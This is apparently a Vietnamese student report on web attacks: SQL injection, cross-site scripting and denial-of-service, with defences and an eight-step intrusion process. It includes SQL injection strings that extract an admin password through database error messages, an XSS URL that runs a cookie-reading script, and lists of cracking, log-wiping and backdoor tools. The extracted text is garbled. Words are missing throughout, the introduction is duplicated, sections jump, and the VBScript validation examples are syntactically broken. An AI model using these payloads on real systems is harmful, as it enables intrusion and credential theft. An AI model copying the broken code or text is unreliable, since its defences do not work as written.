Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao dịch trực tuyến. Vấn đề nảy sinh là khi phạm vi ứng dụng của các ứng dụng Web ngày càng mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao, trở thành đối tượng cho nhiều người tấn công với các mục đích khác nhau. Đôi khi, cũng chỉ đơn giản là để thử tài hoặc đùa bỡn với người khác. Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên Internet, số lượng các vụ tấn công trên Internet cũng tăng theo cấp số nhân. Trong khi các phương tiện thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy nhập thông tin của Internet, thì các tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm và an toàn dữ liệu cho các máy tính được kết nối vào mạng Internet. Theo số liệu của CERT (Computer Emegency Response Team Đội cấp cứu máy tính), số lượng các vụ tấn công trên Internet được thông báo cho tổ chức này là ít hơn 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, và 2241 vào năm 1994, và năm 2001 là 5315 vụ. Ngay ở Việt Nam ta, theo bản tổng kết tình hình an ninh mạng tại Việt Nam trong năm 2007 của Trung tâm An ninh mạng BKIS cho thấy : Việt Nam có 342 Website bị tấn công, trong đó có 118 Website do Hacker trong nước và 224 website là do Hacker nước ngoài thực hiện. Và gần đây nhất là vụ tấn công website và đoạt tên miền của Công ty chuyên cung cấp hosting Pavietnam, đã khiến cho không chỉ riêng Website của công ty này mà còn ảnh hưởng tới hàng nghìn website của các công ty khác đã thuê hosting ở PAvietnam. Ở hội thảo Cyber Security Executive tại New York năm 2008, Mitre đã đưa ra bản báo cáo nghiên cứu về tình hình an ninh mạng như sau: Trong số 20.000 bản báo cáo lại các lỗ hổng thì có 21,5% thuộc về lỗi của XSS, 14% thuộc về lỗi SQL Injection và 9,5% là lỗi PHP, tràn bộ đệm là 7,9%, còn lại là các lỗ hổng – nguy cơ khác. Trong đề tài này, chúng em sẽ trình bày một số kỹ thuật tấn công dịch vụ web phổ biến hiện nay để chúng ta có thể dễ dàng hiểu, nhận ra được các kỹ thuật, các thủ thuật tấn công web. Qua đó, chúng em đưa ra các biện pháp phòng chống, bảo vệ cho dịch vụ web. Đó là lý do chúng em nghiên cứu đề tài Tìm hiểu các phương pháp tấn công web.
NHẬN XÉT CỦA GIÁO VIÊN MỤC LỤC 2 DANH MỤC CÁC HÌNH VẼ Danh mục hình vẽ Hình 1: Báo cáo nghiên cứu tình hình an ninh mạng hội thảo Cyber Security Executive New York năm 2008 Hình Kiến trúc lớp web application Hình Kiến trúc n lớp web application Hình 4: Tấn công DoS truyền thống Hình 5: Kiểu công DoS vào băng thông Hình 6: Tấn công DDoS Hình 7: Tấn công kiểu DRDoS Trang 10 33 33 34 35 LỜI NÓI ĐẦU Ngày nay, Internet phổ biến rộng rãi, tổ chức, cá nhân có nhu cầu giới thiệu thông tin xa lộ thông tin thực phiên giao dịch trực tuyến Vấn đề nảy sinh phạm vi ứng dụng ứng dụng Web ngày mở rộng khả xuất lỗi bị công cao, trở thành đối tượng cho nhiều người công với mục đích khác Đôi khi, đơn giản để thử tài đùa bỡn với người khác Cùng với phát triển không ngừng Internet dịch vụ Internet, số lượng vụ công Internet tăng theo cấp số nhân Trong phương tiện thông tin đại chúng ngày nhắc nhiều đến khả truy nhập thông tin Internet, tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm an toàn liệu cho máy tính kết nối vào mạng Internet Theo số liệu CERT (Computer Emegency Response Team - "Đội cấp cứu máy tính"), số lượng vụ công Internet thông báo cho tổ chức 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, 2241 vào năm 1994, năm 2001 5315 vụ Ngay Việt Nam ta, theo tổng kết tình hình an ninh mạng Việt Nam năm 2007 Trung tâm An ninh mạng BKIS cho thấy : Việt Nam có 342 Website bị công, có 118 Website Hacker nước 224 website Hacker nước thực Và gần vụ công website đoạt tên miền Công ty chuyên cung cấp hosting Pavietnam, khiến cho không riêng Website công ty mà ảnh hưởng tới hàng nghìn website công ty khác thuê hosting PAvietnam Ở hội thảo Cyber Security Executive New York năm 2008, Mitre đưa báo cáo nghiên cứu tình hình an ninh mạng sau: Trong số 20.000 báo cáo lại lỗ hổng có 21,5% thuộc lỗi XSS, 14% thuộc lỗi SQL Injection 9,5% lỗi PHP, tràn đệm 7,9%, lại lỗ hổng – nguy khác 4 Hình 1: Báo cáo nghiên cứu tình hình an ninh mạng hội thảo Cyber Security Executive New York năm 2008 Trong đề tài này, chúng em trình bày số kỹ thuật công dịch vụ web phổ biến để dễ dàng hiểu, nhận kỹ thuật, thủ thuật công web Qua đó, chúng em đưa biện pháp phòng chống, bảo vệ cho dịch vụ web Đó lý chúng em nghiên cứu đề tài Tìm hiểu phương pháp công web Trong trình thực đề tài nhóm em không khỏi mắc phải thiếu sót Mong thầy đóng góp ý kiến để chúng em hoàn thiện tốt đề tài sau Em xin chân thành cảm ơn! Sinh viên thực hiện: Hà văn Trường Nguyễn việt Long Đỗ văn Tiền Nguyễn Tỉnh 5 Chương I: Tổng quan web ứng dụng I.1 Khái niệm Dưới góc độ kỹ thuật, Web định nghĩa môi trường có khả thực thi chương trình cao, cho phép tạo tùy biến triển khai trực tiếp lượng lớn ứng dụng tới đa người dùng Hai thành phần quan trọng website trình duyệt Web linh hoạt ứng dụng Web Web browser (trình duyệt web) ứng dụng phần mềm cho phép người dùng truy vấn liệu tương tác với nội dung nằm trang Web bên website Ứng dụng Web ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác Ứng dụng web chia thành hai loại chính: ứng dụng web Public ứng dụng web Private • Ứng dụng web Public: website dùng để quảng bá thông tin, cung cấp trao đổi thông tin với với bên website thương mại điện tử, website công ty chứng khoán, ngân hàng,… • Ứng dụng web Private: website cung cấp trao đổi thông tin tổ chức, doanh nghiệp đối tác chiến lược… Các website thường dùng để cung cấp thông tin cho văn phòng, chi nhánh, nhân viên công tác làm việc nhà cho đối tác chiến lược kết nối qua môi trường internet Web Server (máy chủ web) máy chủ có dung lượng lớn, tốc độ cao, dùng để chứa website thiết kế với thông tin liên quan khác (các mã Script, chương trình, file Multimedia), Web Server có khả gửi đến máy khách trang Web thông qua môi trường Internet (hoặc Intranet) qua giao thức HTTP - giao thức thiết kế để gửi file đến trình duyệt Web giao thức khác Các trang Web cho phép người dùng lấy xuống nội dung động cá nhân hóa theo thiết lập tham chiếu riêng Hơn chúng chạy script máy khách, “thay đổi” trình duyệt Internet thành giao diện cho ứng dụng thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Google Maps) Quan trọng website ngày cho phép đóng gói, xử lý, lưu trữ truyền tải liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ tín dụng, thông tin bảo mật xã hội …) dùng dùng định kỳ sau Và, điều thực qua ứng dụng Web Đó thành phần webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ mẫu yêu cầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triển website đại, cung cấp cho 6 doanh nghiệp phương tiện cần thiết để liên lạc với khách hàng tương lai khách hàng Dưới góc độ chức năng, ứng dụng Web chương trình máy tính cho phép người dùng website đăng nhập, truy vấn vào/ra liệu qua mạng Internet trình duyệt Web yêu thích họ Dữ liệu gửi tới người dùng trình duyệt theo kiểu thông tin động (trong định dạng cụ thể, với HTML dùng CSS) từ ứng dụng Web qua Web Server Các ứng dụng Web truy vấn máy chủ chứa nội dung (chủ yếu sở liệu lưu trữ nội dung) tạo tài liệu Web động để phục vụ yêu cầu máy khách (chính người dùng website) Tài liệu tạo kiểu định dạng tiêu chuẩn hỗ trợ tất trình duyệt (như HTML, XHTML) JavaScript dạng script client-side cho phép yếu tố động có trang (như thay đổi ảnh lần người dùng di chuột tới) Nó dịch chạy tất script, lệnh… hiển thị trang web nội dung yêu cầu Wikipedia, bách khoa toàn thư trực tuyến lớn giới định nghĩa Web browser “máy khách chung cho ứng dụng web” Một cải tiến đáng kể khác trình xây dựng trì ứng dụng Web chúng hoạt dộng mà không cần quan tâm đến hệ điều hành hay trình duyệt chạy máy client Ứng dụng Web triển khai nơi có Internet, hầu hết không đòi hỏi yêu cầu cài đặt cho người dùng cuối Một số ví dụ Web application: CMS (Content Management System) Hệ quản trị nội dung, gọi hệ thống quản lý nội dung phần mềm để tổ chức tạo môi trường cộng tác thuận lợi nhằm mục đích xây dựng hệ thống tài liệu loại nội dung khác cách thống Web mail (Web-based Emails) giao diện web, thiết kế cho phép truy cập email máy chủ từ đâu giới thông qua web (sử dụng trình duyệt) Giao thức IMAP giúp WebMail thực việc Web mail cho phép thực nhiều chức như: soạn thư, gửi thư, lịch làm việc… Shopping Carts loại ứng dụng web dùng cho việc mua sắm trực tuyến, Các shopping cart không yêu cầu phần mềm giao dịch an toàn Chúng thực tế phần site ảo để bán hàng trực tuyến, Các shopping cart sử dụng cookie để xác định danh sách sản phẩm mà khách hàng chọn mua Có hai cách mà công ty thiết lập cookie Cách thứ lưu giao dịch shopping cart vào cookie máy tính khách hàng Cách thứ hai gắn ID khách hàng lưu ID cookie Portal hay cổng thông tin điện tử hiểu trang web xuất phát mà từ người sử dụng dễ dàng truy xuất trang web dịch vụ thông tin khác mạng máy tính Lợi ích lớn mà portal đem lại tính tiện lợi, dễ sử dụng, Thay phải nhớ vô số địa khác cho mục đích sử dụng khác nhau, với web portal Yahoo, người dùng cần nhớ yahoo.com Hiện 7 Việt nam, quan nhà nước, công ty sử dụng loại ứng dụng web Một vài Portal tiêu biểu như: • Portal Mobifone: http://www.mobifone.com.vn/web/vn/ • Hay Portal phủ: http://www.chinhphu.vn/portal/page? _pageid=33,1&_dad=portal&_schema=PORTAL • Và nhiều ứng dụng web khác I.2 Kiến trúc ứng dụng web Hình bên minh họa chi tiết mô hình ứng dụng Web ba lớp Lớp Presentation layer trình duyệt Web giao diện người dùng Lớp thứ hai Business logic layer công nghệ kỹ thuật tạo nội dung động Java servlets (JSP) hay Active Server Pages (ASP) Còn lớp thứ ba Data access layer-cơ sở liệu chứa nội dung (như tin tức) liệu người dùng (như username, password, mã số bảo mật xã hội, chi tiết thẻ tín dụng) Hình Kiến trúc lớp web application Lớp trình bày (Prensentation layer): Gồm thành phần giao diện đồ họa người dùng (GUI) chuẩn giúp hiển thị liệu cho người dùng, có thêm ứng dụng tạo bố cục cho trang web Nó phải hoạt động với lớp business logic để xử lý việc truyền liệu cho người dùng xem sử dụng Lớp nói chuyện trực tiếp với lớp liệu Data layer Lớp ứng dụng(Bussiness logic layer): Là nơi xử lý ứng dụng Web Nó xử lý thông tin người dùng yêu cầu, đưa định, gửi kết đến“lớp trình bày” Lớp thường cài đặt kỹ thuật lập trình CGI, Java, NET, PHP, triển khai trình chủ Apache, IIS 8 Lớp liệu (Data access layer): Thường hệ quản trị liệu (DBMS) chịu trách nhiệm quản lý file liệu quyền sử dụng Lớp optional (ứng dụng đơn giản tier này), hoạt động với liệu truy cập đến liệu Ví dụ lớp này: • Microsoft SQL Server • Oracle Database Server • MySQL Server • OpenLDAP I.3 Mô tả hoạt động Đầu tiên trình duyệt gửi yêu cầu (request) đến trình chủ Web thông qua lệnh GET, POST… giao thức HTTP, trình chủ lúc cho thực thi chương trình xây dựng từ nhiều ngôn ngữ Perl, C/C++… trình chủ yêu cầu diễn dịch thực thi trang ASP, JSP… theo yêu cầu trình khách Hình Kiến trúc n lớp web application Tùy theo tác vụ chương trình cài đặt mà xử lý, tính toán, kết nối đến sở liệu, lưu thông tin trình khách gửi đến…và từ trả cho trình khách luồng liệu có định dạng theo giao thức HTTP, gồm phần: • Header mô tả thông tin gói liệu thuộc tính, trạng thái trao đổi trình duyệt WebServer • Body phần nội dung liệu mà Server gửi Client, file HTML, hình ảnh, đoạn phim hay văn Với firewall, luồng thông tin trình chủ trình khách luồng thông tin hợp lệ Vì thế, hacker tìm thấy vài lỗ hổng ứng dụng Web firewall không hữu dụng việc ngăn chặn hacker Do đó, kĩ thuật công vào hệ thống mạng ngày dần tập trung vào sơ suất (hay lỗ hổng) trình tạo ứng dụng nhà phát triển Web công trực tiếp vào hệ thống mạng, hệ điều hành Tuy nhiên, hacker lợi dụng lỗ hổng Web để mở rộng công vào hệ thống không liên quan khác 9 10 10 Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' map ' to a column of data type int Ta tiếp tục thu thông tin Account “map” Bước 3: Thực bước cho kết dòng với trường tkUsername bảng User Bước 4: Để biết thêm tkPasswork, thực sau: Username:’;select tkPassword,1 from User where tkUsername=’admin’union select 1,1 from User— Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' assOf' to a column of data type int Để biết thông tin bảng, cột sở liệu, truy vấn bảng đến bảng hệ thống INFORMATION_SCHEMA.TABLES SELECT TABLE_NAME INFORMATION_SCHEMA.TABLES from INFORMATION_SCHEMA.TABLES chứa thông tin tất table có server Trường TABLE_NAME chứa tên table sở liệu SELECT COLUMN_NAME INFORMATION_SCHEMA.COLUMNS TABLE_NAME='User' FROM WHERE Câu lệnh sử dụng để biết thông tin cột bảng User Tóm lại, kỹ thuật mà tin tặc thường sử dụng dựa vào câu lệnh HAVING, GROUP BY, UNION để khai thác thông tin từ sở liệu trình công 24 24 IV.2.2 Biện pháp phòng chống Dưới số biện pháp phòng chống SQL-injection: IV.2.2.1 Kiểm tra liệu Kiểm tra tính đắn liệu vấn đề phức tạp thường chưa quan tâm mức ứng dụng Khuynh hướng việc kiểm tra tính đắn liệu cần thêm số chức vào ứng dụng, mà phải kiểm tra cách tổng quát nhanh chóng để đạt mục đích Ví dụ có lọc để : Lọc bỏ liệu bất hợp lệ ‘ ‘,’select’ ‘union’ Một hàm kiểm soát để loại bỏ dấu nháy đơn đối phó sau • • Một số cách cài đặt chức kiểm tra liệu Cách 1: Thay dấu nháy đơn: function escape( input ) input = replace(input, "'", "''") escape = input end function Cách 2: Từ chối liệu bất hợp lệ function validate_string( input ) known_bad array("select","insert","update", "delete", "drop"," ", "'" ) validate_string = true = for i = lbound( known_bad ) to ubound( known_bad ) if ( instr( 1, input, known_bad(i), vbtextcompare ) 0) then validate_string = false exit function end if next end function Cách 3: Chỉ chấp nhận liệu hợp lệ function validatepassword( input ) good_password_chars "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNO 25 = 25 PQRSTUVWXYZ0123456789" validatepassword = true for i = to len( input ) c = mid( input, i, ) if ( InStr( good_password_chars, c ) = ) then validatepassword = false exit function end if next end function IV.2.2.2 Khoá chặt SQL Server (SQL Server Lockdown) Đây danh sách công việc cần làm để bảo vệ SQL server: * Xác định phương pháp kết nối đến server: * Dùng tiện ích Network Utility để kiểm tra có thư viện mạng dùng hoat động * Kiểm tra tất tài khoản có SQL Server * Chỉ tạo tài khoản có quyền thấp cho ứng dụng * Loại bỏ tài khoản không cần thiết * Đảm bảo tất tài khoản có mật hợp lệ, … * Kiểm tra đối tượng tồn * Nhiều extended stored procedure xoá bỏ cách an toàn.Nếu điều thực hiện, nên xem xét việc loại bỏ tập tin dll chứa mã extended stored procedure * Xoá bỏ tất sở liệu mẫu “northwind” “pubs” * Xóa stored procedure không dùng như: master xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask * Kiểm tra tài khoản truy xuất đến đối tượng * Đối với tài khoản ứng dụng dùng để truy xuất sở liệu cấp quyền hạn cần thiết tối thiểu để truy xuất đến đối tượng cần dùng * Kiểm tra lớp sửa chữa server : Có số cách công “buffer overflow”, “format string” thường ý đến lớp bảo vệ * Kiểm tra phiên làm việc server * Thay đổi "Startup chạy SQL Server" mức người dùng quyền hạn thấp SQL Server Security IV.2.2.3 Sử dụng phương pháp mã hóa liệu Đây phương pháp hữu hiệu để bảo vệ an toàn thông tin nói chung bảo vệ thông tin Cơ sở liệu Web, giúp ngăn chặn giảm thiểu thiệt hại sảy Hacker chiếm quyền kiểm soát 26 26 website thông tin Cơ sở liệu mã hóa Một ví dụ minh chứng cho sức mạnh biện pháp là: phần trình bày kỹ thuật công SQL-injection trên, ta thấy Hacker có bước tiêm câu lệnh SQL để nhằm khai thác thông tin username pasword tài khoản admin từ thông báo lỗi Rõ ràng giả sử biện pháp mã hóa sử dụng lúc Hacker lấy giá trị thông tin khoản admin mã hóa (thông thường giá trị mã hóa qua hàm băm) Như vậy, Hacker khăn việc tìm lại giá trị thông tin username passowrd thật tài khoản admin, Hacker phải bỏ Hiện nay, có nhiều Hệ quản trị Cơ sở liệu có hỗ trợ mã hóa : SQL server 2005, Oracle, MySQL ,…, mạnh Oracle hay sử dụng ngân hàng, công ty tài chính, chứng khoán… Nhận xét: - Qua đây, ta thấy cần thiết - quan trọng việc kiểm tra liệu trước xử lý - Ứng dụng việc kiểm tra tính đắn liệu, cần mã hóa liệu bên sở liệu không cho xuất trang Web lỗi, báo nội dung lỗi cú pháp SQL để hacker thu thập thông tin sở liệu - Bên cạnh ý thức an ninh mạng người quản trị mạng IV.2 Chèn mã lệnh thực thi trình duyệt nạn nhân (cross site scripting - XSS) IV.2.1 Giới thiệu XSS: Phương pháp Cross Site Scripting (được viết tắt XSS) phương pháp công cách chèn thêm đoạn mã có khả đánh cắp hay thiết lập thông tin quan trọng cookies, mật khẩu,… vào mã nguồn ứng dụng web để từ chúng chạy phần ứng dụng Web có chức cung cấp thực những điều hacker muốn Phương pháp không nhằm vào máy chủ hệ thống mà chủ yếu công máy người sử dụng Hacker lợi dụng kiểm tra lỏng lẻo từ ứng dụng hiểu biết hạn chế người dùng biết đánh vào tò mò họ dẫn đến người dùng bị thông tin cách dễ dàng Thông thường hacker lợi dụng địa URL để đưa liên kết tác nhân kích hoạt đoạn chương trình viết ngôn ngữ máy khách VBScript, JavaScript …được thực thi trình duyệt nạn nhân Ví dụ : http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe? search_text=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript 27 27 %3E Phần in đậm đoạn mã thêm vào với mục đích đánh cắp cookies nạn nhân IV.2.2 Phương pháp công XSS truyền thống Ứng dụng Web thường lưu trữ thông tin quan trọng cookie Cookie mẩu thông tin mà ứng dụng lưu đĩa cứng người sử dụng Nhưng ứng dụng thiết lập cookie đọc Do người dùng phiên làm việc ứng dụng hacker có hội đánh cắp cookie Công việc hacker tìm trang đích để dụ người dùng đăng nhập sau tìm lỗ hổng ứng dụng Các bước thực XSS truyền thống Tóm tắt bước thực hiện: • Bước 1: Hacker biết người dùng sử dụng ứng dụng Web có lỗ hỏng XSS • Bước 2: Người dùng nhận liên kết thông qua email hay trang Web (như guestbook, banner dễ dàng thêm liên kết hacker tạo ra…) Thông thường hacker khiến người dùng ý câu kích thích tò mò người dùng “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn chờ bạn”… • Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) máy chủ hacker • Bước 4: Hacker tạo chương trình cgi (ở ví dụ steal.cgi) trang Web để ghi nhận thông tin đánh cắp vào tập tin • Bước 5: Sau nhận thông tin cần thiết, hacker sử dụng để thâm nhập vào tài khoản người dùng Ví dụ : Để khai thác lỗ hổng ứng dụng hotwired.lycos.com, hacker thực sau : Look at this! ”, “ < ” * Vẫn cho phép nhập kí tự đặc biệt mã hóa theo chuẩn riêng * Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch máy họ hay không? Tùy vào mức độ tin cậy mà người dùng định Nhận xét: Kĩ thuật XSS phổ biến dễ dàng áp dụng, nhiên mức độ thiệt hại dừng lại mức độ công máy nạn nhân thông qua liên kết hay form lừa đảo mà hacker đưa đến cho nạn nhân Vì thế, việc ứng dụng kiểm tra tính đắn liệu trước sử dụng việc cần người dùng nên cảnh giác trước bước vào trang Web Có thể nói, nhờ vào cảnh giác người dùng 90% đạt bảo mật kĩ thuật Tuy nhiên, chương 6, công lại nhắm vào máy chủ, nhằm thu thập thông tin sở liệu từ giành quyền quản trị ứng dụng IV.3 Tấn công từ chối dịch vụ (Deny of service - DoS) IV.3.1 Khái niệm Tấn công kiểu DoS kiểu công làm cho dịch vụ mạng bị tê liệt, không khả đáp ứng yêu cầu Loại công ảnh hưởng đến nhiều hệ thống, dễ thực lại khó bảo vệ hệ thống khỏi kiểu công DoS Thông thường, kiểu công DoS dựa giao thức (protocol) Ví dụ với giao thức ICMP, hacker sử dụng bomb e-mail để gửi hàng ngàn thông điệp email với mục đích tiêu thụ băng thông để làm hao hụt tài nguyên hệ thống mail server Hoặc dùng phần mềm gửi hàng loạt yêu cầu đến máy chủ khiến cho máy chủ đáp ứng yêu cầu đáng khác IV.3.2 Những nguy bị công DOS * TẤN CÔNG TRÊN SWAP SPACE: Hầu hết hệ thống có vài trăm MB không gian chuyển đổi ( swap space) để phục vụ cho yêu cầu từ máy khách Swap space thuờng dùng cho tiến trình có thời gian ngắn nên DoS dựa phương thức làm tràn đầy swap space * TẤN CÔNG TRÊN BANDWIDTH: Phần băng thông dành cho hệ 30 30 thống giới hạn, hacker lúc gửi nhiều yêu cầu đến hệ thống phần băng thông không đủ đáp ứng cho khối lượng liệu lớn dẫn đến hệ thống bị phá vỡ * TẤN CÔNG VÀO RAM: Tấn công Dos chiếm khoảng lớn RAM gây vấn đề phá hủy hệ thống Kiểu công BufferOverflow ví dụ cho cách phá hủy * TẤN CÔNG VÀO DISKS: Một kiểu công cổ điển làm đầy đĩa cứng Đĩa cứng bị tràn sử dụng IV.3.3 Một số dang công thường gặp IV.3.3.1 Lợi dụng TCP thực phương pháp SYN flood truyền thống Hình 4: Tấn công DoS truyền thống Như đề cập vấn đề thiết lập kết nối phần 1, gói tin SYN, máy chủ phải để phần tài nguyên hệ thống nhớ đệm để nhận truyền liệu cho đường truyền Tuy nhiên, tài nguyên hệ thống có hạn hacker tìm cách để hệ thống tràn qua giới hạn (Đây gọi half-open connection máy khách mở kết nối chừng) Theo hình 1.13: Nếu máy chủ sau gửi trả gói tin SYN/ACK để thông báo chấp nhận kết nối cho máy yêu cầu địa IP máy yêu cầu giả mạo gói tin đến đích, nên máy chủ phải dành tài nguyên cho yêu cầu Sau thời gian không nhận phản hồi từ máy khách, máy chủ lại tiếp tục gửi gói tin SYN/ACK để xác nhận lần vậy, kết nối tiếp tục mở Nếu hacker gửi nhiều gói tin SYN đến máy chủ đến máy chủ tiếp nhận thêm kết nối lúc hệ thống bị phá vỡ 31 31 Tóm lại: Chỉ với đường truyền băng thông nhỏ, hacker phá vỡ hệ thống Thêm vào đó, địa IP hacker sửa đổi nên việc xác định thủ phạm vấn đề khó khăn IV.3.3.2 Tấn công vào băng thông IV.3.2.2.1 Kiểu công thứ Hacker hoàn toàn có khả làm ngập hệ thống băng thông hacker lớn băng thông máy đích Kiểu công không bị hạn chế tốc độ truyền mạng Ví dụ 9.III.3.1-1: Hacker có đường truyền tốc độ cao T1 ( 1.544Mbps ) hay lớn dễ dàng phá vỡ hệ thống có đường truyền 56Kbps IV.3.2.2.1 Kiểu công thứ Kiểu công sử dụng đường truyền mạng hacker thấp so với đường truyền máy đích Không giống kiểu công DoS truyền thống ( phần ), kiểu công vào băng thông lớn lợi dụng gói tin từ hệ thống khác lúc tiến đến hệ thống đích khiến cho đường truyền hệ thống đích không khả đáp ứng, máy chủ không khả nhận gói tin Hình 5: Kiểu công DoS vào băng thông Theo hình 3.2, tất gói tin vào mạng máy tính qua "BigPipe"(ống dẫn lớn ), sau router chia "Small Pipe" ( ống dẫn nhỏ ) cho nhiều máy tính tùy theo địa IP gói tin Nhưng toàn "Big-Pipe" bị làm ngập gói tin hướng đến máy định 32 32 mạng máy tính này, router đành phải chấp nhận loại bỏ phần lớn packet để lại số lượng vừa đủ qua "Small Pipe" máy tính Kiểu công loại máy đích khỏi Internet Đây phương pháp công kiểu từ chối dịch vụ không DoS mà gọi DDoS ( kiểu từ chối dịch vụ phân tán ), nghĩa lúc nhiều máy phát động để gửi gói tin đến máy đích ( đường truyền máy không cao nhiều đường truyền lại hợp thành ống dẫn “ Big Pipe”), làm cho máy đích không khả tiếp nhận gói tin bị loại khỏi mạng Internet, sơ đồ minh họa sau: Hình 6: Tấn công DDoS DRDoS (Distributed Reflection Denial of Service) - Thế hệ DDoS: 33 33 Đây nguyên nhân khiến cho trang grc.com bị phá vỡ Hình sau minh họa kiểu công DRDoS Hình 7: Tấn công kiểu DRDoS Bằng cách giả địa IP máy đích, hacker lúc gửi nhiều gói tin đến hệ thống máy mạnh mạng, hệ thống nhận gói tin SYN giả này, chấp nhận kết nối gửi trả gói tin SYN/ACK để thông báo Vì địa IP gói tin SYN bị hacker sửa đổi thành địa IP máy đích nên gói tin SYN/ACK gửi cho máy đích Cùng lúc nhận nhiều gói tin, đường truyền máy đích không đủ khả đáp ứng, hệ thống máy đích từ chối nhận gói tin lúc hệ thống máy đích bị sụp đổ IV.3.4 Biện pháp phòng chống Kiểu công từ chối dịch vụ kiểu công gây nhiều khó khăn vấn đề bảo vệ điều tra tìm thủ phạm nhất, hầu hết hacker thay đổi địa IP máy nên khó xác định thủ phạm Để phòng chống khả khuyếch đại đường truyền, cần: • Huỷ khả broadcast router biên • Tăng kích thước hàng đợi kết nối -> kết quả: phòng tránh khả tràn hàng đợi qua nhiều kết nối, cách sử dụng nhiều tài nguyên • Giảm thời gian thiết lập kết nối • Dùng phần mềm phát phá hủy kiểu công DoS: Hầu hết hệ điều hành hỗ trợ khả phát phòng chống kiểu công lụt SYN 34 34 Tuy nhiên có phần mềm có khả tránh kiểu công Ví dụ với Linux kernels 2.0.30 sau cài đặt tùy chọn gọi SYN Cookie, kernel có nhiệm vụ truy tìm lưu vết khả xảy kĩ thuật SYN Sau đó, kernel sử dụng giao thức mã hoá SYN cookie cho phép người dùng hợp lệ hệ thống tiếp tục kết nối đến hệ thống Với WindowNT 4.0 trở sau, sử dụng kĩ thuật backlog, hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, hàng đợi không bị phá vỡ • Ứng dụng cho phép máy thiết lập số kết nối tối đa theo qui định tránh trường hợp hacker gửi lúc nhiều yêu câu gây tắc nghẽn Nhận xét: Kiểu công từ chối dịch vụ khiến cho hệ thống bị phá vỡ vài phút hậu to lớn (ảnh hưởng phạm vi tiền uy tín) Đây kĩ thuật thường hacker sử dụng trường hợp chiếm quyền quản trị hệ thống thông tin, muốn phá hủy uy tín quan đó.Thêm vào việc giả mạo địa khiến cho hacker dễ dàng thực viêc công mà không sợ bị phát Thông thường kĩ thuật thực kèm theo hỗ trợ vài công cụ ping of death, teardrop… IV.3.5 Tổng kết chung trình công Hacker Qua phần trình bày số kỹ thuật công Hacker, ta tổng kết chung lại trình thực công Hacker vào dich vụ web sau: • Bước 1: FootPrinting (thu thập thông tin): Đây bước mà hacker làm muốn lấy lượng thông tin tối đa máy chủ/doanh nghiệp/người dùng, bao gồm chi tiết địa IP, Whois, DNS v.v - thông tin thức có liên quan đến mục tiêu Công cụ hỗ trợ: UseNet , search engines (công cụ tìm kiếm) , Edgar Any Unix client, http://www.networksolutions.com/whois, nslookup Is -d , http://www.arin.net/whois, dig • Bước 2: Scanning (Quét thăm dò): Phần lớn thông tin quan trọng từ server có từ bước , bao gồm quét cổng, xác định hệ điều hành, v.v để biết port server, nghe đường liệu Các công cụ: fping, icmpenum Ws_ping ProPack, nmap, SuperScan, fscan nmap,… • Bước 3: Enumeration (liệt kê tìm lỗ hổng): Bước thứ ba tìm kiếm tài nguyên bảo vệ kém, hoạch tài khoản người dùng mà sử dụng để xâm nhập, bao gồm mật mặc định, script dịch 35 35 vụ mặc định Rất nhiều người quản trị mạng đến không sửa đổi lại giá trị Các công cụphụ trợ: null sessions, DumpACL, sid2user, OnSite Admin showmount, NAT Legion banner grabbing với telnet, netcat, rpcinfo • Bước 4: Gaining access (Tìm cách xâm nhập): Bây hacker tìm cách truy cập vào mạng thông tin có ba bước Phương pháp sử dụng công vào lỗi tràn đệm, lấy giải mã file password, hay brute force (kiểm tra tất trường hợp) password Các công cụ: tcpdump, L0phtcrack readsmb, NAT, legion, tftp, pwdump2 (NT) ttdb, bind, IIS, HTR/ISM.DLL • Bước 5: Escalating privilege (Leo thang đặc quyền): Trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản đó, họ tìm cách kiểm soát toàn hệ thống Hacker tìm cách crack password admin, sử dụng lỗ hổng để leo thang đặc quyền John Riper hai chương trình crack password hay sử dụng Công cụ: L0phtcrack, Ic_messages, getadmin, sechole • Bước 6: Pilfering (Dùng file chứa pass bị sơ hở): Thêm lần máy tìm kiếm lại đựơc sử dụng để tìm phương pháp truy cập vào mạng Những file text chứa password hay chế không an toàn khác đích cho hacker Thông tin lấy từ bước đủ để ta định vị server điều khiển server Nếu bước không thành công, đến bước Công cụ hỗ trợ: rhost, LSA Secrets user data, configuration files, Registry • Bước 7: Covering Tracks (Xoá dấu vết) : Sau có thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá file log hệ điều hành làm cho người quản lý không nhận hệ thống bị xâm nhập có biết không tìm kẻ xâm nhập Xóa log Công cụ: Zap, Event log GUI, rootkits, file streaming • Bước 8: Creating Backdoors (Tạo cửa sau chuẩn bị cho lần xâm nhập dễ dàng hơn): Hacker để lại "Back Doors", tức chế cho phép hacker truy nhập trở lại đường bí mật tốn nhiều công sức, việc cài đặt Trojan hay tạo user (đối với tổ chức có nhiều user) Công cụ loại Trojan, keylog, creat rogue user accounts, schedule batch 